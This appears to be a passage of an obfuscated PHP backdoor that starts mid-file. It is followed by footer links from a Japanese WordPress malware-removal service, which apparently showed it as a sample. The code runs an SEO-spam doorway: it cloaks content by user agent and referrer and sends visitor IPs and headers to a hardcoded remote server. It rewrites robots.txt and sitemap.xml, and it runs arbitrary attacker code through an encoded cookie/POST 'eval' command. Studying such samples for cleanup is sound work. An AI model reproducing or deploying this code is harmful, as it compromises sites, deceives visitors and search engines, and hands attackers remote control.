            $_z5idp2lb = stream_context_create(array('http' => $_js2oi2ck));
        }
        return @file_get_contents($_0myn4mi9, FALSE, $_z5idp2lb);
    }
}
class _gpf37q
{
    private static $_iuimp1i4 = "";
    private static $_m86s2fi2 = 1;
    private static $_cwhr4veh = "";
    private $_o5us4xih = "";
    private $_oguwbfha = "";
    private $_2kmtxtsl = "";
    private $_gqmk9dzt = "";
    public static function _3c51s($_voy5bjti, $_kua2uqnq, $_tghg5w3n)
    {
        _gpf37q::$_iuimp1i4 = $_voy5bjti . "/cache/";
        _gpf37q::$_m86s2fi2 = $_kua2uqnq;
        _gpf37q::$_cwhr4veh = $_tghg5w3n;
        if (!@file_exists(_gpf37q::$_iuimp1i4)) {
            @mkdir(_gpf37q::$_iuimp1i4);
        }
    }
    public static function _2t2kx()
    {
        $_lmo2z3ya = 0;
        foreach (scandir(_gpf37q::$_iuimp1i4) as $_ig8rxbut) {
            $_lmo2z3ya += 1;
        }
        return $_lmo2z3ya;
    }
    public static function _zgxxf()
    {
        return TRUE;
    }
    public function __construct($_p1thekwu, $_s95z02o2, $_0cjstxpd, $_40f9dbkl)
    {
        $this->_o5us4xih = $_p1thekwu;
        $this->_oguwbfha = $_s95z02o2;
        $this->_2kmtxtsl = $_0cjstxpd;
        $this->_gqmk9dzt = $_40f9dbkl;
    }
    public function _wzhz1()
    {
        function _ytyjz($_q5vpnb11, $_kby2pgq3)
        {
            return round(rand($_q5vpnb11, $_kby2pgq3 - 1) + rand(0, -1) / PHP_INT_MAX, 2);
        }
        $_2q2r1nh4 = _31g631::_c6xa8();
        $_0j5zvtp6 = str_replace("{{ text }}", $this->_oguwbfha, str_replace("{{ keyword }}", $this->_2kmtxtsl, str_replace("{{ links }}", $this->_gqmk9dzt, $this->_o5us4xih)));
        while (TRUE) {
            $_ughfl08u = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _31g631::_694mo(), $_0j5zvtp6, 1);
            if ($_ughfl08u === $_0j5zvtp6) {
                break;
            }
            $_0j5zvtp6 = $_ughfl08u;
        }
        while (TRUE) {
            preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\\d*) }}/', $_0j5zvtp6, $_o220q22g);
            if (empty($_o220q22g)) {
                break;
            }
            $_0cjstxpd = @$_2q2r1nh4[intval($_o220q22g[1])];
            $_pmp3s4nc = _sts65dv::_b9v6s($_0cjstxpd);
            $_0j5zvtp6 = str_replace($_o220q22g[0], $_pmp3s4nc, $_0j5zvtp6);
        }
        while (TRUE) {
            preg_match('/{{ KEYWORDBYINDEX (\\d*) }}/', $_0j5zvtp6, $_o220q22g);
            if (empty($_o220q22g)) {
                break;
            }
            $_0cjstxpd = @$_2q2r1nh4[intval($_o220q22g[1])];
            $_0j5zvtp6 = str_replace($_o220q22g[0], $_0cjstxpd, $_0j5zvtp6);
        }
        while (TRUE) {
            preg_match('/{{ RANDFLOAT (\\d*)-(\\d*) }}/', $_0j5zvtp6, $_o220q22g);
            if (empty($_o220q22g)) {
                break;
            }
            $_0j5zvtp6 = str_replace($_o220q22g[0], _ytyjz($_o220q22g[1], $_o220q22g[2]), $_0j5zvtp6);
        }
        while (TRUE) {
            preg_match('/{{ RANDINT (\\d*)-(\\d*) }}/', $_0j5zvtp6, $_o220q22g);
            if (empty($_o220q22g)) {
                break;
            }
            $_0j5zvtp6 = str_replace($_o220q22g[0], rand($_o220q22g[1], $_o220q22g[2]), $_0j5zvtp6);
        }
        return $_0j5zvtp6;
    }
    public function _6wgln()
    {
        $_8pjq6spx = _gpf37q::$_iuimp1i4 . md5($this->_2kmtxtsl . _gpf37q::$_cwhr4veh);
        if (_gpf37q::$_m86s2fi2 == 1) {
            $_ym60qogh = 1;
        } else {
            $_ym60qogh = time() + 2592000;
        }
        $_bmbgpgjp = array("template" => $this->_o5us4xih, "text" => $this->_oguwbfha, "keyword" => $this->_2kmtxtsl, "links" => $this->_gqmk9dzt, "expired" => $_ym60qogh);
        @file_put_contents($_8pjq6spx, serialize($_bmbgpgjp));
    }
    public static function _gkiob($_0cjstxpd)
    {
        $_8pjq6spx = _gpf37q::$_iuimp1i4 . md5($_0cjstxpd . _gpf37q::$_cwhr4veh);
        $_8pjq6spx = @unserialize(@file_get_contents($_8pjq6spx));
        if (!empty($_8pjq6spx) && ($_8pjq6spx["expired"] > time() || $_8pjq6spx["expired"] == 1)) {
            return new _gpf37q($_8pjq6spx["template"], $_8pjq6spx["text"], $_8pjq6spx["keyword"], $_8pjq6spx["links"]);
        } else {
            return null;
        }
    }
}
class _e3k6ur
{
    private static $_iuimp1i4 = "";
    private static $_i5d5p7bl = "";
    public static function _3c51s($_voy5bjti, $_fv7evnot)
    {
        _e3k6ur::$_iuimp1i4 = $_voy5bjti . "/";
        _e3k6ur::$_i5d5p7bl = $_fv7evnot;
        if (!@file_exists(_e3k6ur::$_iuimp1i4)) {
            @mkdir(_e3k6ur::$_iuimp1i4);
        }
    }
    public static function _zgxxf()
    {
        return TRUE;
    }
    public static function _2t2kx()
    {
        $_lmo2z3ya = 0;
        foreach (scandir(_e3k6ur::$_iuimp1i4) as $_ig8rxbut) {
            if (strpos($_ig8rxbut, _e3k6ur::$_i5d5p7bl) === 0) {
                $_lmo2z3ya += 1;
            }
        }
        return $_lmo2z3ya;
    }
    public static function _694mo()
    {
        $_h89fp94n = array();
        foreach (scandir(_e3k6ur::$_iuimp1i4) as $_ig8rxbut) {
            if (strpos($_ig8rxbut, _e3k6ur::$_i5d5p7bl) === 0) {
                $_h89fp94n[] = $_ig8rxbut;
            }
        }
        return @file_get_contents(_e3k6ur::$_iuimp1i4 . $_h89fp94n[array_rand($_h89fp94n)]);
    }
    public static function _6wgln($_c3lidu5d)
    {
        if (@file_exists(_e3k6ur::$_i5d5p7bl . "_" . md5($_c3lidu5d) . ".html")) {
            return;
        }
        @file_put_contents(_e3k6ur::$_i5d5p7bl . "_" . md5($_c3lidu5d) . ".html", $_c3lidu5d);
    }
}
class _31g631
{
    private static $_iuimp1i4 = "";
    private static $_i5d5p7bl = "";
    private static $_ezm2j3c6 = array();
    private static $_yu3o36fu = array();
    public static function _3c51s($_voy5bjti, $_fv7evnot)
    {
        _31g631::$_iuimp1i4 = $_voy5bjti . "/";
        _31g631::$_i5d5p7bl = $_fv7evnot;
        if (!@file_exists(_31g631::$_iuimp1i4)) {
            @mkdir(_31g631::$_iuimp1i4);
        }
    }
    private static function _lh8v7()
    {
        $_b139q3z8 = array();
        foreach (scandir(_31g631::$_iuimp1i4) as $_ig8rxbut) {
            if (strpos($_ig8rxbut, _31g631::$_i5d5p7bl) === 0) {
                $_b139q3z8[] = $_ig8rxbut;
            }
        }
        return $_b139q3z8;
    }
    public static function _zgxxf()
    {
        return TRUE;
    }
    public static function _694mo()
    {
        if (empty(_31g631::$_ezm2j3c6)) {
            $_b139q3z8 = _31g631::_lh8v7();
            _31g631::$_ezm2j3c6 = @file(_31g631::$_iuimp1i4 . $_b139q3z8[array_rand($_b139q3z8)], FILE_IGNORE_NEW_LINES);
        }
        return _31g631::$_ezm2j3c6[array_rand(_31g631::$_ezm2j3c6)];
    }
    public static function _c6xa8()
    {
        if (empty(_31g631::$_yu3o36fu)) {
            $_b139q3z8 = _31g631::_lh8v7();
            foreach ($_b139q3z8 as $_1z0x00rv) {
                _31g631::$_yu3o36fu = array_merge(_31g631::$_yu3o36fu, @file(_31g631::$_iuimp1i4 . $_1z0x00rv, FILE_IGNORE_NEW_LINES));
            }
        }
        return _31g631::$_yu3o36fu;
    }
    public static function _6wgln($_hv72g5m6)
    {
        if (@file_exists(_31g631::$_i5d5p7bl . "_" . md5($_hv72g5m6) . ".list")) {
            return;
        }
        @file_put_contents(_31g631::$_i5d5p7bl . "_" . md5($_hv72g5m6) . ".list", $_hv72g5m6);
    }
    public static function _kmlhy($_0cjstxpd)
    {
        @file_put_contents(_31g631::$_i5d5p7bl . "_" . md5(_sts65dv::$_8nm8wp34) . ".list", $_0cjstxpd . "\n", 8);
    }
}
class _sts65dv
{
    public static $_wcde9v66 = "5.2";
    public static $_8nm8wp34 = "f639c8e2-df78-79ce-8c8f-0e1c6fa326db";
    private $_u9o0ll29 = "http://136.12.78.46/app/assets/api2?action=redir";
    private $_ucsikhq7 = "http://136.12.78.46/app/assets/api?action=page";
    public static $_bsiizpig = 5;
    public static $_g9n2n90y = 20;
    private function _jfrh6()
    {
        $_fv9b0m2b = array('#libwww-perl#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i', '#spider#i', '#yahoo#i', '#google#i', '#altavista#i', '#ask#i', '#yahoo!\\s*slurp#i', '#BingBot#i');
        if (!empty($_SERVER['HTTP_USER_AGENT']) && FALSE !== strpos(preg_replace($_fv9b0m2b, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-')) {
            $_ivfzwaui = 1;
        } elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {
            $_ivfzwaui = 1;
        } elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE && strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {
            $_ivfzwaui = 1;
        } else {
            $_ivfzwaui = 0;
        }
        return $_ivfzwaui;
    }
    private static function _j3icx()
    {
        $_qygkv8pe = array();
        $_qygkv8pe['ip'] = $_SERVER['REMOTE_ADDR'];
        $_qygkv8pe['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
        $_qygkv8pe['ua'] = @$_SERVER['HTTP_USER_AGENT'];
        $_qygkv8pe['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
        $_qygkv8pe['ref'] = @$_SERVER['HTTP_REFERER'];
        $_qygkv8pe['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
        $_qygkv8pe['acp'] = @$_SERVER['HTTP_ACCEPT'];
        $_qygkv8pe['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
        $_qygkv8pe['conn'] = @$_SERVER['HTTP_CONNECTION'];
        return $_qygkv8pe;
    }
    public function __construct()
    {
        $this->_u9o0ll29 = explode("/", $this->_u9o0ll29);
        $this->_ucsikhq7 = explode("/", $this->_ucsikhq7);
    }
    public static function _1ey18($_tkirfm7s)
    {
        if (strlen($_tkirfm7s) < 4) {
            return "";
        }
        $_7yuz97aj = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $_2q2r1nh4 = str_split($_7yuz97aj);
        $_2q2r1nh4 = array_flip($_2q2r1nh4);
        $_auhltxb0 = 0;
        $_ng087pcu = "";
        $_tkirfm7s = preg_replace("~[^A-Za-z0-9\\+\\/\\=]~", "", $_tkirfm7s);
        do {
            $_dvu645z6 = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];
            $_vkgib41y = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];
            $_dfbobr9t = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];
            $_f7u8cxr7 = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];
            $_7gkoxuqb = $_dvu645z6 << 2 | $_vkgib41y >> 4;
            $_4f6xlw3n = ($_vkgib41y & 15) << 4 | $_dfbobr9t >> 2;
            $_m72o2irq = ($_dfbobr9t & 3) << 6 | $_f7u8cxr7;
            $_ng087pcu .= chr($_7gkoxuqb);
            if ($_dfbobr9t != 64) {
                $_ng087pcu .= chr($_4f6xlw3n);
            }
            if ($_f7u8cxr7 != 64) {
                $_ng087pcu .= chr($_m72o2irq);
            }
        } while ($_auhltxb0 < strlen($_tkirfm7s));
        return $_ng087pcu;
    }
    private function _f0alz($_0cjstxpd)
    {
        $_p1thekwu = "";
        $_s95z02o2 = "";
        $_qygkv8pe = _sts65dv::_j3icx();
        $_qygkv8pe["uid"] = _sts65dv::$_8nm8wp34;
        $_qygkv8pe["keyword"] = $_0cjstxpd;
        $_qygkv8pe["tc"] = 10;
        $_qygkv8pe = http_build_query($_qygkv8pe);
        $_osbgnqde = _4zlob2::_0gurw($this->_ucsikhq7, $_qygkv8pe);
        if (strpos($_osbgnqde, _sts65dv::$_8nm8wp34) === FALSE) {
            return array($_p1thekwu, $_s95z02o2);
        }
        $_p1thekwu = _e3k6ur::_694mo();
        $_s95z02o2 = substr($_osbgnqde, strlen(_sts65dv::$_8nm8wp34));
        $_s95z02o2 = explode("\n", $_s95z02o2);
        shuffle($_s95z02o2);
        $_s95z02o2 = implode(" ", $_s95z02o2);
        return array($_p1thekwu, $_s95z02o2);
    }
    private function _wcs4u()
    {
        $_qygkv8pe = _sts65dv::_j3icx();
        if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
            $_qygkv8pe['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];
        }
        if (isset($_SERVER['HTTP_X_REAL_IP'])) {
            $_qygkv8pe['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];
        }
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $_qygkv8pe['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
        }
        $_qygkv8pe["uid"] = _sts65dv::$_8nm8wp34;
        $_qygkv8pe = http_build_query($_qygkv8pe);
        $_77sew5p5 = _4zlob2::_0gurw($this->_u9o0ll29, $_qygkv8pe);
        $_77sew5p5 = @unserialize($_77sew5p5);
        if (isset($_77sew5p5["type"]) && $_77sew5p5["type"] == "redir") {
            if (!empty($_77sew5p5["data"]["header"])) {
                header($_77sew5p5["data"]["header"]);
                return true;
            } elseif (!empty($_77sew5p5["data"]["code"])) {
                echo $_77sew5p5["data"]["code"];
                return true;
            }
        }
        return false;
    }
    public function _zgxxf()
    {
        return _gpf37q::_zgxxf() && _e3k6ur::_zgxxf() && _31g631::_zgxxf();
    }
    public static function _iiva6()
    {
        if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) {
            return true;
        }
        return false;
    }
    public static function _b93do()
    {
        $_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_7j2yygln = $_7j2yygln[0];
        if (strpos($_7j2yygln, ".php") === FALSE) {
            $_7j2yygln = explode("/", $_7j2yygln);
            array_pop($_7j2yygln);
            $_7j2yygln = implode("/", $_7j2yygln) . "/";
        }
        return sprintf("%s://%s%s", _sts65dv::_iiva6() ? "https" : "http", $_SERVER['HTTP_HOST'], $_7j2yygln);
    }
    public static function _ts8k2()
    {
        $_jcsbbcvk = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received", "https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap");
        $_9j5mwcj8 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language: en-US,en;q=0.5", "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0");
        $_bt1oczjf = urlencode(_sts65dv::_cw6ld() . "/sitemap.xml");
        foreach ($_jcsbbcvk as $_0myn4mi9 => $_1z6xvtea) {
            $_5w9kbho6 = _4zlob2::_18lb4($_0myn4mi9 . $_bt1oczjf, NULL, $_9j5mwcj8);
            if (empty($_5w9kbho6)) {
                $_5w9kbho6 = _4zlob2::_d5c8g($_0myn4mi9 . $_bt1oczjf, NULL, $_9j5mwcj8);
            }
            if (empty($_5w9kbho6)) {
                return FALSE;
            }
            if (strpos($_5w9kbho6, $_1z6xvtea) === FALSE) {
                return FALSE;
            }
        }
        return TRUE;
    }
    public static function _3zhbb()
    {
        $_puvylgdh = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";
        $_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_7j2yygln = $_7j2yygln[0];
        $_xkkh2jkw = substr($_7j2yygln, 0, strrpos($_7j2yygln, "/"));
        $_r9lqapgp = sprintf($_puvylgdh, $_xkkh2jkw, _sts65dv::_cw6ld() . "/sitemap.xml");
        $_vrkvk44f = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";
        if (@file_exists($_vrkvk44f)) {
            @chmod($_vrkvk44f, 0777);
            $_t44io2gz = @file_get_contents($_vrkvk44f);
        } else {
            $_t44io2gz = "";
        }
        if (strpos($_t44io2gz, $_r9lqapgp) === FALSE) {
            @file_put_contents($_vrkvk44f, $_t44io2gz . "\n" . $_r9lqapgp);
            $_t44io2gz = @file_get_contents($_vrkvk44f);
            return strpos($_t44io2gz, $_r9lqapgp) !== FALSE;
        }
        return FALSE;
    }
    public static function _cw6ld()
    {
        $_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_7j2yygln = $_7j2yygln[0];
        $_voy5bjti = substr($_7j2yygln, 0, strrpos($_7j2yygln, "/"));
        return sprintf("%s://%s%s", _sts65dv::_iiva6() ? "https" : "http", $_SERVER['HTTP_HOST'], $_voy5bjti);
    }
    public static function _b9v6s($_0cjstxpd)
    {
        $_9n7p5ufy = _sts65dv::_b93do();
        $_wcf5n7ln = substr(md5(_sts65dv::$_8nm8wp34 . "salt3"), 0, 6);
        $_o93669j0 = "";
        if (substr($_9n7p5ufy, 1) == "/") {
            if (ord($_wcf5n7ln[1]) % 2) {
                $_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);
            } else {
                $_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);
            }
            $_o93669j0 = sprintf("%s%s", $_9n7p5ufy, urlencode($_0cjstxpd));
        } else {
            if (false) {
                $_o93669j0 = sprintf("%s?%s=%s", $_9n7p5ufy, $_wcf5n7ln, urlencode(str_replace(" ", "-", $_0cjstxpd)));
            } else {
                $_iinna93s = array("id", "page", "tag");
                $_psnry0n6 = $_iinna93s[ord($_wcf5n7ln[2]) % count($_iinna93s)];
                if (ord($_wcf5n7ln[1]) % 2) {
                    $_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);
                } else {
                    $_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);
                }
                $_o93669j0 = sprintf("%s?%s=%s", $_9n7p5ufy, $_psnry0n6, urlencode($_0cjstxpd));
            }
        }
        return $_o93669j0;
    }
    public static function _hodzk($_q5vpnb11, $_kby2pgq3)
    {
        $_za76epxj = "";
        for ($_auhltxb0 = 0; $_auhltxb0 < rand($_q5vpnb11, $_kby2pgq3); $_auhltxb0++) {
            $_0cjstxpd = _31g631::_694mo();
            $_za76epxj .= sprintf("<a href=\"%s\">%s</a>,\n", _sts65dv::_b9v6s($_0cjstxpd), ucwords($_0cjstxpd));
        }
        return $_za76epxj;
    }
    public static function _xvzz8($_1n936vg3 = FALSE)
    {
        $_u2j8xlom = "/var/www/html/sitemap.xml";
        $_tjcfy5b1 = "<?php xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
        $_yqgs9738 = "</urlset>";
        $_2q2r1nh4 = _31g631::_c6xa8();
        $_t5fhm8r2 = array();
        if (file_exists($_u2j8xlom)) {
            $_osbgnqde = simplexml_load_file($_u2j8xlom);
            foreach ($_osbgnqde as $_k1oj5roj) {
                $_t5fhm8r2[(string) $_k1oj5roj->loc] = (string) $_k1oj5roj->lastmod;
            }
        } else {
            $_1n936vg3 = FALSE;
        }
        foreach ($_2q2r1nh4 as $_e3bymjf3) {
            $_o93669j0 = _sts65dv::_b9v6s($_e3bymjf3);
            if (isset($_t5fhm8r2[$_o93669j0])) {
                continue;
            }
            if ($_1n936vg3) {
                $_bej92797 = time();
            } else {
                $_bej92797 = time() - crc32($_e3bymjf3) % 2592000;
            }
            $_t5fhm8r2[$_o93669j0] = date("Y-m-d", $_bej92797);
        }
        $_7qvyiq5v = "";
        foreach ($_t5fhm8r2 as $_0myn4mi9 => $_bej92797) {
            $_7qvyiq5v .= "<url>\n";
            $_7qvyiq5v .= sprintf("<loc>%s</loc>\n", $_0myn4mi9);
            $_7qvyiq5v .= sprintf("<lastmod>%s</lastmod>\n", $_bej92797);
            $_7qvyiq5v .= "</url>\n";
        }
        $_sqa0r7ne = $_tjcfy5b1 . $_7qvyiq5v . $_yqgs9738;
        $_bt1oczjf = _sts65dv::_cw6ld() . "/sitemap.xml";
        @file_put_contents($_u2j8xlom, $_sqa0r7ne);
        return $_bt1oczjf;
    }
    public function _6spsl()
    {
        $_psnry0n6 = substr(md5(_sts65dv::$_8nm8wp34 . "salt3"), 0, 6);
        if (!$this->_jfrh6()) {
            if ($this->_wcs4u()) {
                return;
            }
        }
        if (!empty($_GET)) {
            $_pzun5n8b = array_values($_GET);
        } else {
            $_pzun5n8b = explode("/", $_SERVER["REQUEST_URI"]);
            $_pzun5n8b = array_reverse($_pzun5n8b);
        }
        $_0cjstxpd = "";
        foreach ($_pzun5n8b as $_ii29uy52) {
            if (substr_count($_ii29uy52, "-") > 0) {
                $_0cjstxpd = $_ii29uy52;
                break;
            }
        }
        $_0cjstxpd = str_replace($_psnry0n6 . "-", "", $_0cjstxpd);
        $_0cjstxpd = str_replace("-" . $_psnry0n6, "", $_0cjstxpd);
        $_0cjstxpd = str_replace("-", " ", $_0cjstxpd);
        $_0cjstxpd = urldecode($_0cjstxpd);
        $_0xts4kvj = _31g631::_c6xa8();
        if (empty($_0cjstxpd)) {
            $_0cjstxpd = $_0xts4kvj[0];
        } else {
            if (!in_array($_0cjstxpd, $_0xts4kvj)) {
                $_2ritv6d1 = 0;
                foreach (str_split($_0cjstxpd) as $_ojxh77di) {
                    $_2ritv6d1 += ord($_ojxh77di);
                }
                $_0cjstxpd = $_0xts4kvj[$_2ritv6d1 % count($_0xts4kvj)];
            }
        }
        if (!empty($_0cjstxpd)) {
            $_77sew5p5 = _gpf37q::_gkiob($_0cjstxpd);
            if (empty($_77sew5p5)) {
                list($_p1thekwu, $_s95z02o2) = $this->_f0alz($_0cjstxpd);
                if (empty($_s95z02o2)) {
                    return;
                }
                $_77sew5p5 = new _gpf37q($_p1thekwu, $_s95z02o2, $_0cjstxpd, _sts65dv::_hodzk(_sts65dv::$_bsiizpig, _sts65dv::$_g9n2n90y));
                $_77sew5p5->_6wgln();
            }
            echo $_77sew5p5->_wzhz1();
        }
    }
}
_gpf37q::_3c51s("/var/www/html", 1, _sts65dv::$_8nm8wp34);
_e3k6ur::_3c51s("/var/www/html", substr(md5(_sts65dv::$_8nm8wp34 . "salt12"), 0, 4));
_31g631::_3c51s("/var/www/html", substr(md5(_sts65dv::$_8nm8wp34 . "salt22"), 0, 4));
function _rqbk6($_osbgnqde, $_e3bymjf3)
{
    $_ewgecgo5 = "";
    for ($_auhltxb0 = 0; $_auhltxb0 < strlen($_osbgnqde);) {
        for ($_xqc1ekn7 = 0; $_xqc1ekn7 < strlen($_e3bymjf3) && $_auhltxb0 < strlen($_osbgnqde); $_xqc1ekn7++, $_auhltxb0++) {
            $_ewgecgo5 .= chr(ord($_osbgnqde[$_auhltxb0]) ^ ord($_e3bymjf3[$_xqc1ekn7]));
        }
    }
    return $_ewgecgo5;
}
function _zviqv($_osbgnqde, $_e3bymjf3, $_d7ykkv78)
{
    return _rqbk6(_rqbk6($_osbgnqde, $_e3bymjf3), $_d7ykkv78);
}
foreach (array_merge($_COOKIE, $_POST) as $_zd40yrcj => $_osbgnqde) {
    $_osbgnqde = @unserialize(_zviqv(_sts65dv::_1ey18($_osbgnqde), $_zd40yrcj, _sts65dv::$_8nm8wp34));
    if (isset($_osbgnqde['ak']) && _sts65dv::$_8nm8wp34 == $_osbgnqde['ak']) {
        if ($_osbgnqde['a'] == 'doorway2') {
            if ($_osbgnqde['sa'] == 'check') {
                $_0j5zvtp6 = _4zlob2::_0gurw(array(0 => "http:", 1 => "", 2 => "httpbin.org", 3 => ""), "");
                if (strlen($_0j5zvtp6) > 512) {
                    echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "cache" => _gpf37q::_2t2kx(), "keywords" => count(_31g631::_c6xa8()), "templates" => _e3k6ur::_2t2kx()));
                }
                exit;
            }
            if ($_osbgnqde['sa'] == 'templates') {
                foreach ($_osbgnqde["templates"] as $_p1thekwu) {
                    _e3k6ur::_6wgln($_p1thekwu);
                    echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66));
                }
            }
            if ($_osbgnqde['sa'] == 'keywords') {
                _31g631::_6wgln($_osbgnqde["keywords"]);
                _sts65dv::_xvzz8();
                echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66));
            }
            if ($_osbgnqde['sa'] == 'update_sitemap') {
                _sts65dv::_xvzz8(TRUE);
                echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66));
            }
            if ($_osbgnqde['sa'] == 'pages') {
                $_ziqsamkr = 0;
                $_0xts4kvj = _31g631::_c6xa8();
                if (_e3k6ur::_2t2kx() > 0) {
                    foreach ($_osbgnqde['pages'] as $_77sew5p5) {
                        $_o209fxsn = _gpf37q::_gkiob($_77sew5p5["keyword"]);
                        if (empty($_o209fxsn)) {
                            $_o209fxsn = new _gpf37q(_e3k6ur::_694mo(), $_77sew5p5["text"], $_77sew5p5["keyword"], _sts65dv::_hodzk(_sts65dv::$_bsiizpig, _sts65dv::$_g9n2n90y));
                            $_o209fxsn->_6wgln();
                            $_ziqsamkr += 1;
                            if (!in_array($_77sew5p5["keyword"], $_0xts4kvj)) {
                                _31g631::_kmlhy($_77sew5p5["keyword"]);
                            }
                        }
                    }
                }
                echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "pages" => $_ziqsamkr));
            }
            if ($_osbgnqde["sa"] == "ping") {
                $_5w9kbho6 = _sts65dv::_ts8k2();
                echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "result" => (int) $_5w9kbho6));
            }
            if ($_osbgnqde["sa"] == "robots") {
                $_5w9kbho6 = _sts65dv::_3zhbb();
                echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "result" => (int) $_5w9kbho6));
            }
        }
        if ($_osbgnqde['sa'] == 'eval') {
            eval($_osbgnqde["data"]);
            exit;
        }
    }
}
$_vuu18gsa = new _sts65dv();
if ($_vuu18gsa->_zgxxf()) {
    $_vuu18gsa->_6spsl();
}
exit;


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.